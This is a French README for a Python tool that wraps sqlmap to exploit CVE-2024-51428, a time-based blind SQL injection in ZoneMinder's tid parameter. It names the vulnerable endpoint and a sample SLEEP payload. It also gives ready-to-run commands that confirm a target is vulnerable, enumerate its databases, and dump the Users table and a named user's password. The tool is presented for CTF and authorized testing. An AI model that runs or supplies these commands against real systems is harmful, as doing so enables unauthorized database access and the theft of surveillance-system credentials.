
Wrapper en Python pour exploiter CVE-2024-51428 dans ZoneMinder via une injection SQL aveugle en utilisant sqlmap, automatisant l'énumération des bases de données, des tables et l'extraction de données avec une sortie claire.
Wrapper Python pour sqlmap conçu pour exploiter CVE-2024-51428 dans ZoneMinder.
Cet outil automatise la détection et l'exploitation d'une vulnérabilité d'injection SQL aveugle tout en gardant une sortie propre et concentrée sur les données utiles.
Le script masque les journaux de sqlmap et n'affiche que les informations pertinentes telles que :
Cela rend l'outil idéal pour les environnements CTF, les démonstrations et les tests de sécurité.
CVE: CVE-2024-51428
Type: Injection SQL aveugle
Logiciel concerné: ZoneMinder
Vecteur d'attaque: paramètre HTTP GET
Paramètre: tid
La vulnérabilité existe dans le point de terminaison suivant :
/zm/index.php?view=request&request=event&action=removetag&tid=
Le paramètre tid n'est pas correctement assaini avant d'être utilisé dans une requête de base de données, ce qui permet à un attaquant d'injecter des requêtes SQL.
La technique d'exploitation utilisée est l'injection SQL aveugle basée sur le temps.
Exemple de charge utile découverte par sqlmap :
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
Cette charge utile force la base de données à patienter si la requête est exécutée avec succès, confirmant ainsi la présence d'une injection SQL.
Installez sqlmap si nécessaire :
sudo apt install sqlmap
Syntaxe de base :
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
Avec cette commande, nous vérifions si la cible est vulnérable ou non
Exemple :
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
L'exploit nécessite un cookie de session ZoneMinder valide.
Étapes :
Application → Cookies
ZMSESSID
-cExemple :
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
Exemple de sortie :
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
Exemple de sortie :
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
Exemple de sortie :
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
Exemple :
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
Vous pouvez filtrer les lignes en utilisant :
-ff <COLUMN> <VALUE>
Exemple :
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
SQL équivalent :
WHERE Username='mark'
Exemple :
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
Commande sqlmap interne :
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
Le script agit comme un wrapper autour de sqlmap.
Étapes effectuées en interne :
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
Cet outil a été créé pour :
Ce projet est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.
L'auteur n'est pas responsable d'une mauvaise utilisation de cet outil.
Obtenez toujours une autorisation appropriée avant de tester un système.
Recherche en sécurité / Outillage CTF